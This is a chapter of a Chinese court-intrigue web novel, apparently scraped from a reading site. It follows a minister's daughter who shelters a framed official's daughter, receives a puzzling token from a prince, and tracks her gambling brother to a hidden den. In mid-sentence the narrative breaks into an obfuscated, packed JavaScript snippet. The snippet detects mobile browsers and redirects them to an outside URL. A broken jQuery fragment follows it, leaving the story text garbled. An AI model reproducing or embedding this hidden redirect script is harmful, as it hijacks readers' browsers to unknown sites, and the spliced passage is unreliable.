21.皖香坊
作品:《我在大盛做女相》 几日后,段家一事终落下帷幕,只可惜那段家小姐才出京城不远就染病暴毙,押送官差嫌晦气,便将尸身随意扔在路边草丛中。消息传回京中,引得世人唏嘘,段府虽算不上什么名门望族,但也在京中排得上号,却落得这般田地。
缥缈斋内厢房,庄舒柔端着新品玫瑰荔枝牛乳茶,轻轻吹开表面飘着的玫瑰,才慢慢抿了一口。
耳边传来楼下说书先生关于段家事情的个人见解,带着极重的个人色彩,庄舒柔嘴角扬起一抹笑容,分不清是何意味。
“小姐,人到了。”
“让她进来。”庄舒柔起身拿了一个空杯,斟满了还冒着热气的牛乳茶,放在身旁的位置之上。
带着白纱斗笠的女子推门而入,直直地跪在了庄舒柔面前,流着泪磕了个响头:“段姝谢小姐救命之恩。”
眼前这人正是早已在流放途中“暴毙”的段家小姐——段姝。
庄舒柔上前扶起段姝,将她带到座位上,将杯子放入她的手中,抬手取下她的面纱,看着她带着伤痕的脸,眼里满是怜惜。
从怀中掏出早已准备好的创伤药,那日前去昭狱寻段姝时便察觉到她身上的伤不轻,没曾想那些狱卒竟会连脸也不放过。庄舒柔用指腹沾了药膏轻轻地摸在她脸上的伤口:“我能力有限,没能救下段家其他人,还望段小姐见谅。”
段姝放下手中的杯子,一把握住她的手,又想起身磕头,被庄舒柔伸手拦下:“这是做什么?”
“庄小姐大恩大德,段姝无以为报,圣上之意不可违,怎敢奢求小姐救下段家所有人。”段姝红着眼望着眼前的人,眼底满是感激。
那日看清纸条上的内容后,她楞了半晌,她与庄舒柔不过点头之交,人人都对她段家人避之不及,这人却愿冒着生命之危来救她,且那南疆的假死之药更是重金难求。
想到段家之事,段姝眼里又充满了悲伤与落寞,她不信那个自小便教她为人要光明磊落的父亲会做出贪污之事,但没人会信。
南疆一战,盛朝大败,得有人为这场失败的战争负责,承了百姓的愤怒,而她父亲便是那倒霉蛋。
“庄小姐,我父亲是被冤枉的,段家绝不可能做出贪污军饷的事。”说到此处,段姝有些激动,拉着庄舒柔袖子的手逐渐变紧。
庄舒柔附上她的手,温柔地拍了拍,示意她放松:“我知道,段家一事过于蹊跷,像极了当年齐家,碰巧兵败不久就被检举揭发,又碰巧揭发之人是你父亲最看重的学生,这一切太过于巧合。且从你父亲学生揭发之日起,到段家一事尘埃落定,过于迅速,快的让人觉得奇怪,像是有人急着掩饰真相。”
“我在查当年齐家之事。”庄舒柔选择对齐姝坦白,她需要这个盟友,所以二人需要坦诚,“只是齐家一案太过于久远,我能查到的线索很少,我便想着能否从段家之案查出新的线索,还请段小姐将段伯父这个月所做之事,所见之人一一告知。”
段姝又重燃起希望,端起牛乳茶润了润嗓子,开始讲起自家的事,又提出自己觉得可疑之处。
庄舒柔蛾眉紧蹙,从段姝所说来看,段家这几个月很与往日无异,十分平静,平静的有些不平常。
“嗯,我知道,我会去查段小姐提到的那几个人,只是段小姐如今在京中……”
段家已从京中消失,段姝也成“已死之人”,在京中无依无靠,将她带回相府并不现实,庄舒柔一时犯了难。
“扣扣”
敲门声想起,打断了庄舒柔的思虑。
“进。”
那人推门进来前,段姝迅速拿起放在一旁的面纱戴在脸上,转身背对着门。
“舒柔,尝尝新品栗子酥,我新增了别的馅。”盛鸿青端着一盘刚出锅的栗子酥进了门,笑着向庄舒柔扬了扬,颇有几分自豪的样子。
瞧着小巧金黄的栗子酥,庄舒柔心情大好,拿起一块递给段姝,满是温柔地说:“快尝尝,鸿青的手艺在京城可是数一数二的。”
“鸿青眼拙,还望小姐恕罪。”盛鸿青这才察觉到自己方才没注意到角落里的那人,觉得自己太过于失礼,急忙拱手谢罪。
段姝转过身向他福身行礼,接过庄舒柔手中的高端,送入面纱之下细细品着,不自觉地眯上了眼。从下狱之后,她再没吃过一顿正常的饭菜,此时尝到如此美味的栗子酥,更是引出了肚子里的馋虫,忍不住拿了第二块。
庄舒柔笑着看向她,片刻后转头向盛鸿青解释道:“鸿青这是我的远房表妹,叫齐姝。”
“小姝,这是缥缈斋的老板,杜鸿青。”
听到这名字,段姝眼里闪过一丝疑惑,她如果没记错,这一代的皇子便是鸿字辈,平常百姓需要避谶,不可与皇室辈分相撞,而这人……
“敢问公子是哪一个鸿字?”
“是洪水的洪,小姐以为是鸿雁的鸿吗?那可是犯了大忌,在下万万不敢啊。”盛鸿青看着段姝的眼睛,带着笑意回道,可这笑中多了几分的警惕,他不敢确保眼前这个表妹是否在别的场合见过他,他当然会给庄舒柔说明他的真实身份,但绝不可能是现在。
“对了,鸿青,小姝刚来京城人生地不熟,我也不好将她带回相府,不知道能不能让小姝在你这做工,也算让她有个落脚处。”
“当然可以,不过缥缈斋的活有些累,不知道齐小姐能不能……”
“能的。我不怕累。”段姝急忙答道,生怕应迟一步盛鸿青就不要她了,能在京中留下来已是万幸,又怎么能够去挑留下的方式。
说定这事后,庄舒柔又给段姝交代了几句话,还求了盛鸿青多照顾这个远房表妹。
回到相府,庄舒柔拿笔记下了段姝所提到的可疑之处,又拿出风雨楼所译的那些信件进行对照,脸色越来越沉重。
太过蹊跷了,虽这些出事的官员隶属于不同部门,且站队各不相同,但出事的节点以及判决的速度过于相同,难免让人起疑。
“小姐。”见月叩门唤道。
庄舒柔收起桌上的东西,塞进一旁的暗格之中,又拿起毛笔在宣纸上开始作画:“进来。”
“小姐,晋王派人送了东西过来。”
听月将红漆小匣放在书案之上,默默退到一旁。
庄舒柔并未停笔,埋头专注着画画,一盏茶的时间后,点下了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15792430|172152||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
最后一笔,极为自信得放下了笔,拿起画纸欣赏着自己的巨著。
看了又看,满意得不得了。
听月投去好奇的目光,只见那纸上画着一堆姿势各异的火柴人……
欣赏半天火柴人后,庄舒柔意犹未尽的收起著作,瞟了一眼一旁的锦盒,不用想都知道里面不是什么好东西。
那日情况紧急由不得她思考,又听闻晋王受罚,心中不免有些愧疚。昨日她便唤见月将那玉佩送了回去连带着她写的一封道歉信。
而现在这盒子被原封不动地退了回来,里面放着的东西又怎么放着好东西。
庄舒柔顿了片刻,还是拿起了那锦盒,缓缓打开,看见那东西时露出了疑惑的表情。
盒中的东西竟是昨日她让见月送回晋王府的玉佩,她难以置信地拿起那枚小巧精致的龙纹玉佩,来回翻开,确定不是赝品。
玉佩下还压着一张信纸,庄舒柔轻轻玉佩放回锦盒,拿起信中,上面只有一句:明日申时,风雨楼见。
庄舒柔脸上的疑惑更甚,她越来越看不懂这晋王葫芦里卖的是什么药。
第二日还未到午时,寻夏急匆匆前来回话,道大少爷方才偷偷摸摸地从侧门溜出了府。
“正好,”庄舒柔秀眉一挑,带着几分看热闹的表情,“我们一起去看看。”
离辰时还早,庄舒柔便领着采春、寻夏二人抄近路先去了缥缈斋,不多时,便有人给她送来了一封信,送信之人正是那日虎哥的手下。
信中只写到皖香坊三字,庄舒柔收了信,安顿好俩丫头后便跟着送信之人去了皖香坊,毕竟此事需暗中进行,人越少越不容易被发现。
进了皖香坊店中,庄舒柔飞速打量了一遍,只是一家普通的香料店并无不妥,直到跟着前面那人进了账房后,推开暗门向地下走去。
庄舒柔谨慎地观察着四周的情况,这皖香坊并不像表面上那般简单,能在京中开赌坊,相比这掌柜身后之人权势滔天。
不多久,庄舒柔就听见赌徒们传来的呼唤声、哀嚎声,状若癫狂,推门后庄舒柔看着眼前的景象,不免有些震惊。
这皖香坊地下竟如此之大,大大小小赌桌约摸十几多张,每张桌子前都围满了人,看热闹的,表情凝重的,表情癫狂的。
“晦气,来来来,继续继续,下一把我肯定能赢回来。”
果然,庄舒柔在一个角落的赌桌上见到了庄烨麟,看样子今日又输了不少。
“我说庄少爷,你哪还有钱继续啊?”站在庄烨麟对面的人抱着双手嗤笑一声,眼中满是不屑。
庄烨麟像是被踩了尾巴的猫,瞬间跳脚,指着那人鼻子满是愤怒地说:“嘴巴给我放干净点,我爹可是丞相,小心治你的罪!”
庄烨麟话音刚落,便引得周围人发笑,都只这人是相府少爷,但这相府少爷回回都欠别人赌金,也没见他那丞相父亲出手相助。
庄舒柔看着脸红脖子粗的庄烨麟觉得有些好笑,正想到别处再打听消息就听到身后传来伙计的讨论声。
“掌柜的,庄少爷今日又输,你看是不是将他请出去,毕竟相爷那边不好交代啊……